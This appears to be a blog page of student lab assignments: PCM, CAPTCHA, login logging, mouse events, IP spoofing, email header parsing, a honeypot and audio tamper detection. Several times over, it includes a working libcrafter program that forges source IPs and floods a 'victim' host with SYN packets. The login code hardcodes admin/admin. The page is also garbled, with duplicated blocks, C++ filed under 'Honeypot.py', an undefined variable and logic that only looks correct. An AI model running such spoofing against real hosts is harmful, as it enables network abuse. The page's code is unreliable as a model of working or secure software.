DCWSN Assignments
Assignment :
Pulse code modulation code in c++
#include<math.h>
#include <iostream.h>
#include <fstream.h>
#include<math.h>
#include<conio.h>
#include<cstring.h>
using namespace std;
int main()
{
int x[512],z[512],A,s,t,b,l,y,p,k;
double f,d,np[512],q[512],n[512];
clrscr();
cout<<"Enter Amplitude:";
cin>>A;
cout<<"Enter frequency:";
cin>>f;
cout<<"Enter time intervals:";
cin>>s;
cout<<"\nSampling Points \n";
for(t=0;t<=s;t++)
{
x[t] = A * sin((22/7)* f * t); //sine wave input in sine1.txt
cout<<x[t]<<" ";
}
cout<<"\n\n";
cout<<"Enter No of bits for Quantisation code:";
cin>>b;
l=pow(2,b);
d=A/pow(2,b-1);
cout<<"\nNormalized PAM Values\n";
for(t=0;t<=s;t++)
{
np[t] = x[t]/d ;
cout<<np[t]<<" ";
}
cout<<"\nQuantized Values\n";
for(t=0;t<=s;t++)
{
int j=np[t];
if(j>=0)
{
q[t]=j+0.5;
}
else
{
q[t]=j-0.5;
}
cout<<q[t]<<" ";
}
cout<<"\nCode Words\n";
for(t=0;t<=s;t++)
{
int lnew=(l/2)-1;
if(x[t]>0)
{
p=0;
y=d;
for(k=0;k<l;k++)
{
if(x[t]>=p&&x[t]<y)
{
z[t]=lnew;
break;
}
else
{
lnew+=1;
p=y;
y=y+d;
}
}
}
else
{
p=0;
y=-d;
for(k=0;k<l;k++)
{
if(x[t]<=p&&x[t]>=y)
{
z[t]=lnew;
break;
}
else
{
lnew-=1;
p=y;
y=y-d;
}
}
}
cout<<" "<<z[t];
}
cout<<"\n\n";
cout<<"Digital Values\n";
long i,rem,v=0,sum=0;
for(v=0;v<=s;v++)
{
i=1;
int count=0,remi;
sum=0;
do
{
rem=z[v]%2;
sum=sum + (i*rem);
count++;
z[v]=z[v]/2;
i=i*10;
}while(z[v]>0);
cout<<" ";
if(count==b)
cout<<sum<<" ";
else
{
int num=b - count;
for(int pp=0;pp<num;pp++)
cout<<"0";
cout<<sum<<" ";
}
}
getch();
}
Assignment :-
CAPTCHA prog in java
import java.util.*;
import java.io.*;
public class Captcha
{
public String generateCaptcha()
{
Random random = new Random();
int length = 5;
StringBuffer captchaStringBuffer = new StringBuffer();
for (int i = 0; i < length; i++)
{
int captchaNumber = Math.abs(random.nextInt()) % 60;
System.out.println("captcha number : "+captchaNumber);
int charNumber = 0;
if (captchaNumber < 26)
{
charNumber = 65 + captchaNumber;
}
else if (captchaNumber < 52)
{
charNumber = 97 + (captchaNumber - 26);
}
else
{
charNumber = 48 + (captchaNumber - 52);
}
captchaStringBuffer.append((char)charNumber);
}
return captchaStringBuffer.toString();
}
public static void main(String[] args)throws IOException
{
Captcha captcha = new Captcha();
String str = captcha.generateCaptcha();
System.out.println("Randomly Selected Captcha string is : "+str);
DataInputStream in=new DataInputStream(System.in);
String name;
System.out.println("Enter Captcha String name : ");
name=in.readLine();
if(str.equals(name))
{
System.out.println("Both strings are same....");
}
else
{
System.out.println("Both strings are not same....");
}
} }
import java.io.*;
public class Captcha
{
public String generateCaptcha()
{
Random random = new Random();
int length = 5;
StringBuffer captchaStringBuffer = new StringBuffer();
for (int i = 0; i < length; i++)
{
int captchaNumber = Math.abs(random.nextInt()) % 60;
System.out.println("captcha number : "+captchaNumber);
int charNumber = 0;
if (captchaNumber < 26)
{
charNumber = 65 + captchaNumber;
}
else if (captchaNumber < 52)
{
charNumber = 97 + (captchaNumber - 26);
}
else
{
charNumber = 48 + (captchaNumber - 52);
}
captchaStringBuffer.append((char)charNumber);
}
return captchaStringBuffer.toString();
}
public static void main(String[] args)throws IOException
{
Captcha captcha = new Captcha();
String str = captcha.generateCaptcha();
System.out.println("Randomly Selected Captcha string is : "+str);
DataInputStream in=new DataInputStream(System.in);
String name;
System.out.println("Enter Captcha String name : ");
name=in.readLine();
if(str.equals(name))
{
System.out.println("Both strings are same....");
}
else
{
System.out.println("Both strings are not same....");
}
} }
Assignment:-
java program for creating system log file
import java.io.*;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Scanner;
import java.util.*;
public class test
{
public static void main(String[] args) throws IOException
{
String userName;
String passWord;
FileWriter fw=null;
Date dNow = new Date( );
SimpleDateFormat ft = new SimpleDateFormat ("dd/MMMMM/yyyy hh:mm aaa");
Scanner S=new Scanner(System.in);
fw=new FileWriter("log.text");
System.out.println("Enter UserName:");
userName=S.nextLine();
System.out.println("Enter PassWord");
passWord=S.nextLine();
if(userName.equals("admin") && passWord.equals("admin"))
{
System.out.println("Successfully login");
fw.write("\nlogin with username "+ userName +" on "+ ft.format(dNow));
fw.append("\n");
}
else
{
System.out.println("Unsuccessfully login");
fw.write("\nUnsuccessful login with username "+userName +" on "+ ft.format(dNow));
fw.append("\n");
}
fw.close();
}
}
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Scanner;
import java.util.*;
public class test
{
public static void main(String[] args) throws IOException
{
String userName;
String passWord;
FileWriter fw=null;
Date dNow = new Date( );
SimpleDateFormat ft = new SimpleDateFormat ("dd/MMMMM/yyyy hh:mm aaa");
Scanner S=new Scanner(System.in);
fw=new FileWriter("log.text");
System.out.println("Enter UserName:");
userName=S.nextLine();
System.out.println("Enter PassWord");
passWord=S.nextLine();
if(userName.equals("admin") && passWord.equals("admin"))
{
System.out.println("Successfully login");
fw.write("\nlogin with username "+ userName +" on "+ ft.format(dNow));
fw.append("\n");
}
else
{
System.out.println("Unsuccessfully login");
fw.write("\nUnsuccessful login with username "+userName +" on "+ ft.format(dNow));
fw.append("\n");
}
fw.close();
}
}
Assignment:
mouse event
//Imports are listed in full to show what's being used
//could just import javax.swing.* and java.awt.* etc..
import java.awt.EventQueue;
import java.awt.BorderLayout;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import java.awt.Color;
import javax.swing.BorderFactory;
import javax.swing.border.Border;
import java.awt.event.MouseListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseWheelListener;
import java.awt.event.MouseWheelEvent;
import java.awt.event.MouseMotionListener;
public class MouseLabel {
JLabel mouseLabel;
JLabel mouseMoveLabel;
JTextArea mouseEvents;
//Note: Typically the main method will be in a
//separate class. As this is a simple one class
//example it's all in the one class.
public static void main(String[] args) {
//Use the event dispatch thread for Swing components
EventQueue.invokeLater(new Runnable()
{
@Override
public void run()
{
new MouseLabel();
}
});
}
public MouseLabel()
{
JFrame guiFrame = new JFrame();
//make sure the program exits when the frame closes
guiFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
guiFrame.setTitle("Mouse Event Example");
guiFrame.setSize(700,300);
//This will center the JFrame in the middle of the screen
guiFrame.setLocationRelativeTo(null);
//creating a border to highlight the label areas
Border outline = BorderFactory.createLineBorder(Color.black);
//mouseLabel will trigger the Mouse click evetns
mouseLabel = new JLabel("Interactive Label", JLabel.CENTER);
mouseLabel.setBorder(outline);
//Attach the MouseListener to mouseLabel
//as an anonymous inner class.
//Each method changes the test of mouseLabel and
//logs the mouse event in the JTextArea
mouseLabel.addMouseListener(new MouseListener()
{
@Override
public void mouseClicked(MouseEvent e)
{
mouseLabel.setText("I've been clicked!");
mouseEvents.append("MouseClicked Event");
mouseEvents.append("Xpos: " + e.getX() + " Ypos: " + e.getY() + "\n");
}
@Override
public void mousePressed(MouseEvent e)
{
mouseLabel.setText("You're holding the mouse button aren't you?");
mouseEvents.append("MousePressed Event\n");
}
@Override
public void mouseExited(MouseEvent e)
{
mouseLabel.setText("The mouse has run away!");
mouseEvents.append("MouseExited Event\n");
}
@Override
public void mouseEntered(MouseEvent e)
{
mouseLabel.setText("I can feel the presence of the Mouse");
mouseEvents.append("MouseEntered Event\n");
}
@Override
public void mouseReleased(MouseEvent e)
{
mouseLabel.setText("You've let go of the mouse button");
mouseEvents.append("MouseReleased Event\n");
}
});
//mouseMoveLabel triggers the mouse motion events
mouseMoveLabel = new JLabel("Drag the Mouse!");
mouseMoveLabel.setBorder(outline);
//Attach the MouseMotionListener to mouseMoveLabel
//as an anonymous inner class.
//Each method logs the events triggered in the JTextArea
mouseMoveLabel.addMouseMotionListener(new MouseMotionListener(){
@Override
public void mouseDragged(MouseEvent e)
{
mouseEvents.append("MouseDragged Event\n");
}
@Override
public void mouseMoved(MouseEvent e)
{
mouseEvents.append("MouseMoved Event\n");
}
});
mouseEvents = new JTextArea("The Mouse events can be seen here:\n");
//Place the JTextArea into a JScrollPane to be able to scroll
//through all the events logged. It's also perfect for listening
//for MouseWheelListener events
JScrollPane textScroll = new JScrollPane(mouseEvents);
//Attach the MouseWheelListener to textScroll
//as an anonymous inner class.
//As some many events are fired by the mouse moving the method
//just changes the text of mouseLabel rather than logging them
//all in the JTextArea.
textScroll.addMouseWheelListener(new MouseWheelListener(){
@Override
public void mouseWheelMoved(MouseWheelEvent e)
{
mouseLabel.setText("You've moved the mouse wheel");
}
});
guiFrame.add(mouseMoveLabel, BorderLayout.WEST);
guiFrame.add(mouseLabel, BorderLayout.CENTER);
guiFrame.add(textScroll, BorderLayout.EAST);
guiFrame.setVisible(true);
}
}
//could just import javax.swing.* and java.awt.* etc..
import java.awt.EventQueue;
import java.awt.BorderLayout;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import java.awt.Color;
import javax.swing.BorderFactory;
import javax.swing.border.Border;
import java.awt.event.MouseListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseWheelListener;
import java.awt.event.MouseWheelEvent;
import java.awt.event.MouseMotionListener;
public class MouseLabel {
JLabel mouseLabel;
JLabel mouseMoveLabel;
JTextArea mouseEvents;
//Note: Typically the main method will be in a
//separate class. As this is a simple one class
//example it's all in the one class.
public static void main(String[] args) {
//Use the event dispatch thread for Swing components
EventQueue.invokeLater(new Runnable()
{
@Override
public void run()
{
new MouseLabel();
}
});
}
public MouseLabel()
{
JFrame guiFrame = new JFrame();
//make sure the program exits when the frame closes
guiFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
guiFrame.setTitle("Mouse Event Example");
guiFrame.setSize(700,300);
//This will center the JFrame in the middle of the screen
guiFrame.setLocationRelativeTo(null);
//creating a border to highlight the label areas
Border outline = BorderFactory.createLineBorder(Color.black);
//mouseLabel will trigger the Mouse click evetns
mouseLabel = new JLabel("Interactive Label", JLabel.CENTER);
mouseLabel.setBorder(outline);
//Attach the MouseListener to mouseLabel
//as an anonymous inner class.
//Each method changes the test of mouseLabel and
//logs the mouse event in the JTextArea
mouseLabel.addMouseListener(new MouseListener()
{
@Override
public void mouseClicked(MouseEvent e)
{
mouseLabel.setText("I've been clicked!");
mouseEvents.append("MouseClicked Event");
mouseEvents.append("Xpos: " + e.getX() + " Ypos: " + e.getY() + "\n");
}
@Override
public void mousePressed(MouseEvent e)
{
mouseLabel.setText("You're holding the mouse button aren't you?");
mouseEvents.append("MousePressed Event\n");
}
@Override
public void mouseExited(MouseEvent e)
{
mouseLabel.setText("The mouse has run away!");
mouseEvents.append("MouseExited Event\n");
}
@Override
public void mouseEntered(MouseEvent e)
{
mouseLabel.setText("I can feel the presence of the Mouse");
mouseEvents.append("MouseEntered Event\n");
}
@Override
public void mouseReleased(MouseEvent e)
{
mouseLabel.setText("You've let go of the mouse button");
mouseEvents.append("MouseReleased Event\n");
}
});
//mouseMoveLabel triggers the mouse motion events
mouseMoveLabel = new JLabel("Drag the Mouse!");
mouseMoveLabel.setBorder(outline);
//Attach the MouseMotionListener to mouseMoveLabel
//as an anonymous inner class.
//Each method logs the events triggered in the JTextArea
mouseMoveLabel.addMouseMotionListener(new MouseMotionListener(){
@Override
public void mouseDragged(MouseEvent e)
{
mouseEvents.append("MouseDragged Event\n");
}
@Override
public void mouseMoved(MouseEvent e)
{
mouseEvents.append("MouseMoved Event\n");
}
});
mouseEvents = new JTextArea("The Mouse events can be seen here:\n");
//Place the JTextArea into a JScrollPane to be able to scroll
//through all the events logged. It's also perfect for listening
//for MouseWheelListener events
JScrollPane textScroll = new JScrollPane(mouseEvents);
//Attach the MouseWheelListener to textScroll
//as an anonymous inner class.
//As some many events are fired by the mouse moving the method
//just changes the text of mouseLabel rather than logging them
//all in the JTextArea.
textScroll.addMouseWheelListener(new MouseWheelListener(){
@Override
public void mouseWheelMoved(MouseWheelEvent e)
{
mouseLabel.setText("You've moved the mouse wheel");
}
});
guiFrame.add(mouseMoveLabel, BorderLayout.WEST);
guiFrame.add(mouseLabel, BorderLayout.CENTER);
guiFrame.add(textScroll, BorderLayout.EAST);
guiFrame.setVisible(true);
}
}
IPS Spoof:-
IPSspoof.cpp:-
//---------------------------------------------------------------------------
//Assignment Name:Implementation of following spoofing assignments using C++
// multicore Programming:a) IP Spoofing
// b) Web spoofing.
//Assignment No:01
//---------------------------------------------------------------------------
#include <iostream>
#include <crafter.h>
#include <stdio.h>
#include <unistd.h>
using namespace std;
using namespace Crafter;
volatile byte spoof = 1;
void ctrl_c(int dummy) {
spoof = 0;
}
int main() {
string iface = "p1p1"; //interface for the lab systems
string MyIP = GetMyIP(iface);
IP ip_header1;
ip_header1.SetSourceIP("192.168.1.210"); //spoofing ip address
ip_header1.SetDestinationIP("192.168.1.207");// victims ip address
IP ip_header2;
ip_header2.SetSourceIP("192.168.1.210");//source of attacker
ip_header2.SetDestinationIP("192.168.1.207");//spoof ip
TCP tcp_header1;
tcp_header1.SetSrcPort(20);
tcp_header1.SetDstPort(85); //Destination port which will accept the packets
tcp_header1.SetSeqNumber(RNG32());
tcp_header1.SetFlags(TCP::SYN);//SYNC PACKET
TCP tcp_header2;
tcp_header2.SetSrcPort(20);
tcp_header2.SetDstPort(85);//Destination port which will accept the packets
tcp_header2.SetSeqNumber(RNG32());
tcp_header2.SetFlags(TCP::ACK);//ACK PACKET
Packet tcp_packet1 = ip_header1 / tcp_header1;
Packet tcp_packet2 = ip_header2 / tcp_header1;
Packet tcp_packet3 = ip_header1 / tcp_header2;
cout << endl << "BEFORE SENDING.. " << endl;
tcp_packet1.Print();
tcp_packet1.Send();
cout << endl << "SENDING.. " << endl;
tcp_packet1.Print();
cout<<"----------------------------------------------------------------------------------------------------------------------------"<<endl;
signal(SIGINT,ctrl_c);
while(spoof)
{
cout<<"SENDING THE PACKETS....."<<endl;
tcp_packet2.Send();
sleep(1);
}
tcp_packet3.Send();
CleanCrafter();
return 0;
}
//Assignment Name:Implementation of following spoofing assignments using C++
// multicore Programming:a) IP Spoofing
// b) Web spoofing.
//Assignment No:01
//---------------------------------------------------------------------------
#include <iostream>
#include <crafter.h>
#include <stdio.h>
#include <unistd.h>
using namespace std;
using namespace Crafter;
volatile byte spoof = 1;
void ctrl_c(int dummy) {
spoof = 0;
}
int main() {
string iface = "p1p1"; //interface for the lab systems
string MyIP = GetMyIP(iface);
IP ip_header1;
ip_header1.SetSourceIP("192.168.1.210"); //spoofing ip address
ip_header1.SetDestinationIP("192.168.1.207");// victims ip address
IP ip_header2;
ip_header2.SetSourceIP("192.168.1.210");//source of attacker
ip_header2.SetDestinationIP("192.168.1.207");//spoof ip
TCP tcp_header1;
tcp_header1.SetSrcPort(20);
tcp_header1.SetDstPort(85); //Destination port which will accept the packets
tcp_header1.SetSeqNumber(RNG32());
tcp_header1.SetFlags(TCP::SYN);//SYNC PACKET
TCP tcp_header2;
tcp_header2.SetSrcPort(20);
tcp_header2.SetDstPort(85);//Destination port which will accept the packets
tcp_header2.SetSeqNumber(RNG32());
tcp_header2.SetFlags(TCP::ACK);//ACK PACKET
Packet tcp_packet1 = ip_header1 / tcp_header1;
Packet tcp_packet2 = ip_header2 / tcp_header1;
Packet tcp_packet3 = ip_header1 / tcp_header2;
cout << endl << "BEFORE SENDING.. " << endl;
tcp_packet1.Print();
tcp_packet1.Send();
cout << endl << "SENDING.. " << endl;
tcp_packet1.Print();
cout<<"----------------------------------------------------------------------------------------------------------------------------"<<endl;
signal(SIGINT,ctrl_c);
while(spoof)
{
cout<<"SENDING THE PACKETS....."<<endl;
tcp_packet2.Send();
sleep(1);
}
tcp_packet3.Send();
CleanCrafter();
return 0;
}
IP.cpp:-
#include <iostream>
#include <crafter.h>
#include <stdio.h>
#include <unistd.h>
using namespace std;
using namespace Crafter;
volatile byte spoof = 1;
void ctrl_c(int dummy) {
spoof = 0;
}
int main() {
string iface = "p1p1"; //interface for the lab systems
string MyIP = GetMyIP(iface);
IP ip_header1;
ip_header1.SetSourceIP("192.168.1.210"); //spoofing ip address
ip_header1.SetDestinationIP("192.168.1.207");// victims ip address
IP ip_header2;
ip_header2.SetSourceIP("192.168.1.210");//source of attacker
ip_header2.SetDestinationIP("192.168.1.207");//spoof ip
TCP tcp_header1;
tcp_header1.SetSrcPort(20);
tcp_header1.SetDstPort(85); //Destination port which will accept the packets
tcp_header1.SetSeqNumber(RNG32());
tcp_header1.SetFlags(TCP::SYN);//SYNC PACKET
TCP tcp_header2;
tcp_header2.SetSrcPort(20);
tcp_header2.SetDstPort(85);//Destination port which will accept the packets
tcp_header2.SetSeqNumber(RNG32());
tcp_header2.SetFlags(TCP::ACK);//ACK PACKET
Packet tcp_packet1 = ip_header1 / tcp_header1;
Packet tcp_packet2 = ip_header2 / tcp_header1;
Packet tcp_packet3 = ip_header1 / tcp_header2;
cout << endl << "BEFORE SENDING.. " << endl;
tcp_packet1.Print();
tcp_packet1.Send();
cout << endl << "SENDING.. " << endl;
tcp_packet1.Print();
cout<<"----------------------------------------------------------------------------------------------------------------------------"<<endl;
signal(SIGINT,ctrl_c);
while(spoof)
{
cout<<"SENDING THE PACKETS....."<<endl;
tcp_packet2.Send();
sleep(1);
}
tcp_packet3.Send();
CleanCrafter();
return 0;
}
#include <iostream>
#include"fstream"
using namespace std;
int main()
{
ifstream in("mail.txt",ios::in);
string sender,receiver,mesId,sub,recip,recdate,mime_ver,from,to;
string temp1[5];
int i=0;
while(in>>temp1[i])
{
if(temp1[i].compare("Delivered-To:")==0)
getline(in,receiver);
else if(temp1[i].compare("Received:")==0)
getline(in,sender);
else if(temp1[i].compare("Date:")==0)
getline(in,recdate);
else if(temp1[i].compare("Message-ID:")==0)
getline(in,mesId);
else if(temp1[i].compare("Subject:")==0)
getline(in,sub);
else if(temp1[i].compare("MIME-Version:")==0)
getline(in,mime_ver);
else if(temp1[i].compare("From:")==0)
getline(in,from);
else if(temp1[i].compare("To:")==0)
getline(in,to);
// i++;
}
cout<<"Delivered To:-"<<receiver<<endl<<endl;
cout<<"Return Path:-"<<sender<<endl<<endl;
cout<<"Message Id:-"<<mesId<<endl<<endl;
/*cout<<"Subject:-"<<sub<<endl<<endl;
cout<<"Date:-"<<recdate<<endl<<endl;
cout<<"MIME-Version:"<<mime_ver<<endl<<endl;
cout<<"From:"<<from<<endl<<endl;
cout<<"To:"<<to<<endl<<endl; */
return 0;
}
//***********************OUTPUT************************************
student@comp-pl-6-7:~$ g++ email.cpp
student@comp-pl-6-7:~$ ./a.out
Delivered To:- alain.spineux@gmail.com
Return Path:- by 10.229.233.76 with HTTP; Sat, 2 Jul 2011 04:30:31 -0700 (PDT)
Message Id:- <CAAJL_=kPAJZ=fryb21wBOALp8-XOEL-h9j84s3SjpXYQjN3Z3A@mail.gmail.com>
student@comp-pl-6-7:~$
Honeypot.py:
#include <crafter.h>
#include <stdio.h>
#include <unistd.h>
using namespace std;
using namespace Crafter;
volatile byte spoof = 1;
void ctrl_c(int dummy) {
spoof = 0;
}
int main() {
string iface = "p1p1"; //interface for the lab systems
string MyIP = GetMyIP(iface);
IP ip_header1;
ip_header1.SetSourceIP("192.168.1.210"); //spoofing ip address
ip_header1.SetDestinationIP("192.168.1.207");// victims ip address
IP ip_header2;
ip_header2.SetSourceIP("192.168.1.210");//source of attacker
ip_header2.SetDestinationIP("192.168.1.207");//spoof ip
TCP tcp_header1;
tcp_header1.SetSrcPort(20);
tcp_header1.SetDstPort(85); //Destination port which will accept the packets
tcp_header1.SetSeqNumber(RNG32());
tcp_header1.SetFlags(TCP::SYN);//SYNC PACKET
TCP tcp_header2;
tcp_header2.SetSrcPort(20);
tcp_header2.SetDstPort(85);//Destination port which will accept the packets
tcp_header2.SetSeqNumber(RNG32());
tcp_header2.SetFlags(TCP::ACK);//ACK PACKET
Packet tcp_packet1 = ip_header1 / tcp_header1;
Packet tcp_packet2 = ip_header2 / tcp_header1;
Packet tcp_packet3 = ip_header1 / tcp_header2;
cout << endl << "BEFORE SENDING.. " << endl;
tcp_packet1.Print();
tcp_packet1.Send();
cout << endl << "SENDING.. " << endl;
tcp_packet1.Print();
cout<<"----------------------------------------------------------------------------------------------------------------------------"<<endl;
signal(SIGINT,ctrl_c);
while(spoof)
{
cout<<"SENDING THE PACKETS....."<<endl;
tcp_packet2.Send();
sleep(1);
}
tcp_packet3.Send();
CleanCrafter();
return 0;
}
Assignment Name:Write a program in C++ /Python to analyze email header.
Mail.txt:-
raw="""
MIME-Version: 1.0
Received: by 10.229.233.76 with HTTP; Sat, 2 Jul 2011 04:30:31 -0700 (PDT)
Date: Sat, 2 Jul 2011 13:30:31 +0200
Delivered-To: alain.spineux@gmail.com
Message-ID: <CAAJL_=kPAJZ=fryb21wBOALp8-XOEL-h9j84s3SjpXYQjN3Z3A@mail.gmail.com>
Subject: =?ISO-8859-1?Q?Dr.=20Pointcarr=E9?=
From: Alain Spineux <alain.spineux@gmail.com>
To: =?ISO-8859-1?Q?Dr=2E_Pointcarr=E9?= <alain.spineux@gmail.com>
Content-Type: multipart/alternative;
boundary=000e0cd68f223dea3904a714768b
--000e0cd68f223dea3904a714768b
Content-Type: text/plain;
charset=ISO-8859-1
MIME-Version: 1.0
Received: by 10.229.233.76 with HTTP; Sat, 2 Jul 2011 04:30:31 -0700 (PDT)
Date: Sat, 2 Jul 2011 13:30:31 +0200
Delivered-To: alain.spineux@gmail.com
Message-ID: <CAAJL_=kPAJZ=fryb21wBOALp8-XOEL-h9j84s3SjpXYQjN3Z3A@mail.gmail.com>
Subject: =?ISO-8859-1?Q?Dr.=20Pointcarr=E9?=
From: Alain Spineux <alain.spineux@gmail.com>
To: =?ISO-8859-1?Q?Dr=2E_Pointcarr=E9?= <alain.spineux@gmail.com>
Content-Type: multipart/alternative;
boundary=000e0cd68f223dea3904a714768b
--000e0cd68f223dea3904a714768b
Content-Type: text/plain;
charset=ISO-8859-1
email.cpp:-
#include <iostream>
#include"fstream"
using namespace std;
int main()
{
ifstream in("mail.txt",ios::in);
string sender,receiver,mesId,sub,recip,recdate,mime_ver,from,to;
string temp1[5];
int i=0;
while(in>>temp1[i])
{
if(temp1[i].compare("Delivered-To:")==0)
getline(in,receiver);
else if(temp1[i].compare("Received:")==0)
getline(in,sender);
else if(temp1[i].compare("Date:")==0)
getline(in,recdate);
else if(temp1[i].compare("Message-ID:")==0)
getline(in,mesId);
else if(temp1[i].compare("Subject:")==0)
getline(in,sub);
else if(temp1[i].compare("MIME-Version:")==0)
getline(in,mime_ver);
else if(temp1[i].compare("From:")==0)
getline(in,from);
else if(temp1[i].compare("To:")==0)
getline(in,to);
// i++;
}
cout<<"Delivered To:-"<<receiver<<endl<<endl;
cout<<"Return Path:-"<<sender<<endl<<endl;
cout<<"Message Id:-"<<mesId<<endl<<endl;
/*cout<<"Subject:-"<<sub<<endl<<endl;
cout<<"Date:-"<<recdate<<endl<<endl;
cout<<"MIME-Version:"<<mime_ver<<endl<<endl;
cout<<"From:"<<from<<endl<<endl;
cout<<"To:"<<to<<endl<<endl; */
return 0;
}
//***********************OUTPUT************************************
student@comp-pl-6-7:~$ g++ email.cpp
student@comp-pl-6-7:~$ ./a.out
Delivered To:- alain.spineux@gmail.com
Return Path:- by 10.229.233.76 with HTTP; Sat, 2 Jul 2011 04:30:31 -0700 (PDT)
Message Id:- <CAAJL_=kPAJZ=fryb21wBOALp8-XOEL-h9j84s3SjpXYQjN3Z3A@mail.gmail.com>
student@comp-pl-6-7:~$
Honey Pot:-
Honeypot.py:
#Assignment Name:Design and implementation of Honeypot.
import time
import socket
def getstuff():
banner = raw_input('\nEnter banner information: ')
host = raw_input('Enter IP Address: ')
while True:
try:
port = int(raw_input('Enter Port Number: '))
except TypeError:
print '\n[-] Error: invalid port number\n'
continue
else:
if (port < 1) or (port > 65535):
print '\n[-] Error: invalid port number\n'
continue
else:
return (banner, host, port)
def writelog(client, data=''):
separator = '='*40
fopen = open('potlog.txt', 'a')
fopen.write('Time: %s\nIP Address: %s\nPort: %d\n\n%s%s\n\n'%(time.ctime(), client[0], client[1], data, separator))
fopen.close()
def main(host, port, banner):
print '\n[*] Listening ...\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(100)
while True:
(insock, address) = s.accept()
print '[*] Connection from: %s:%d' % (address[0], address[1])
try:
insock.send('%s\n'%(banner))
# data = insock.recv(1024)
insock.close()
except socket.error, e:
writelog(address)
else:
writelog(address, data12)
print 'nothing'
if __name__=='__main__':
try:
stuff = getstuff()
main(stuff[1], stuff[2], stuff[0])
except KeyboardInterrupt:
print '\n\n[+] Exiting...'
exit(0)
except BaseException, e:
print '\n[-] Error: %s' % (e)
exit(1)
c.connect(("192.168.1.203",45123))
c.close()
honeypoy1.py:
import socket
c=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect(("192.168.1.203",45123))
#while 1:
print(c.recv(5000))
b=c.recv(5000)
print b
f=open("/home/mcoerc/PLII/honeypot/data.txt",'w')
f.write(b)
#data=raw_input("enter file name to download\n :")
#c.send(data)
f.close()
c.close()
Voice Tamp:
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
// WAVE PCM soundfile format
typedef struct header_file
{
char chunk_id[4];
int chunk_size;
char subchunk1_id[4];
int subchunk1_size;
char subchunk2_id[4];
int subchunk2_size; // subchunk2_size denotes the number of samples.
char format[4];
short int audio_format;
short int num_channels;
int sample_rate; // sample_rate denotes the sampling rate.
int byte_rate;
short int block_align;
short int bits_per_sample;
} header;
typedef struct header_file* header_p;// Pointer to struct header_file
int buffer1[10000000];//Array of buffer
int buffer2[10000000];
int buffer3[10000000];
int compare(int ch)
{
char filename1[9];
FILE * infile1;
if(ch==1)
{
infile1 = fopen("/home/mcoerc/PLII/VoiceTamp/Kawai-K1r-Snare.wav","rb"); // Open wave file in read mode
}
if(ch==2)
{
infile1 = fopen("/home/mcoerc/PLII/VoiceTamp/Kawai-K1r-Snare (copy).wav","rb");// Open wave file in read mode
}
if(ch==3)
{
infile1 = fopen("/home/mcoerc/PLII/VoiceTamp/Kawai-K1r-Closed-Hi-Hat.wav","rb"); // Open wave file in read mode
}
int o=0;
int BUFSIZE = 256; // BUFSIZE can be changed according to the frame size required (eg:512)
int count = 0; // For counting number of frames in wave file.
short int buff16[BUFSIZE]; // short int used for 16 bit as input data format is 16 bit PCM audio
header_p meta = (header_p)malloc(sizeof(header)); // header_p points to a header struct that contains the wave file metadata fields
int nb; // variable storing number of bytes returned
if (infile1)
{
fread(meta, 1, sizeof(header), infile1); // 1= size (byte) of each header field
if(ch==1)
{
cout<<"\nFile 1 details are: ";
}
if(ch==2)
{
cout<<"\nFile 2 details are: ";
}
if(ch==3)
{
cout<<"\nFile 3 details are: ";
}
cout << "\n\n Size of Header file is "<<sizeof(*meta)<<" bytes" << endl;
cout << " Sampling rate of the input wave file is "<< meta->sample_rate <<" Hz" << endl;
cout << " Number of samples in wave file are " << meta->subchunk2_size << " samples" << endl;
cout << " The number of channels of the file is "<< meta->num_channels << " channels" << endl;
while (!feof(infile1))
{
nb = fread(buff16,1,BUFSIZE,infile1); // Reading data in chunks of BUFSIZE
do{
for(int a=0;a<=15;a++)
{
if(ch==1)
{
buffer1[o]=buff16[a]; //copying buff16 into buffer
o++;
}
if(ch==2)
{
buffer2[o]=buff16[a];
o++;
}
if(ch==3)
{
buffer3[o]=buff16[a];
o++;
}
}
}while(o<1000000);
count++; // Incrementing Number of frames
}
cout << " Number of frames in the input wave file are " <<count << endl;
}
return 0;
}
int main()
{
compare(1); //Extract samples from first file
cout<<"\n";
compare(2); //Extract samples from second file
cout<<"\n";
compare(3); //Extract samples from Third file
for(int yo=0;yo<1000000;yo++)
{
if(buffer2[yo]==buffer1[yo])
{
cout<<"\nTampering not detected while comparing sound file 1 and 2.\n\n";
break;
}
else
{
cout<<"\nTampering is detected while comparing sound file 1 and 2.\n\n";
break;
}
}
for(int yo=0;yo<1000000;yo++)
{
if(buffer3[yo]==buffer1[yo])
{
cout<<"\nTampering not detected while comparing sound file 1 and 3.\n\n";
return 0;
}
else
{
cout<<"\nTampering is detected while comparing sound file 1 and 3.\n\n";
return 0;
}
}
cout<<"\n Fail. Check your code\n\n";
return 0;
}
/******** OUTPUT *********
mcoerc@comp-shingateDS:~$ cd PLII/VoiceTamp
mcoerc@comp-shingateDS:~/PLII/VoiceTamp$ g++ voice_tamp.cpp -o voice_tamp
mcoerc@comp-shingateDS:~/PLII/VoiceTamp$ ./voice_tamp
File 1 details are:
Size of Header file is 44 bytes
Sampling rate of the input wave file is 44100 Hz
Number of samples in wave file are 27952 samples
The number of channels of the file is 2 channels
Number of frames in the input wave file are 110
File 2 details are:
Size of Header file is 44 bytes
Sampling rate of the input wave file is 44100 Hz
Number of samples in wave file are 27952 samples
The number of channels of the file is 2 channels
Number of frames in the input wave file are 110
File 3 details are:
Size of Header file is 44 bytes
Sampling rate of the input wave file is 44100 Hz
Number of samples in wave file are 21624 samples
The number of channels of the file is 2 channels
Number of frames in the input wave file are 86
Tampering not detected while comparing sound file 1 and 2.
Tampering is detected while comparing sound file 1 and 3.
mcoerc@comp-shingateDS:~/PLII/VoiceTamp$ ^C
mcoerc@comp-shingateDS:~/PLII/VoiceTamp$ */
No comments:
Post a Comment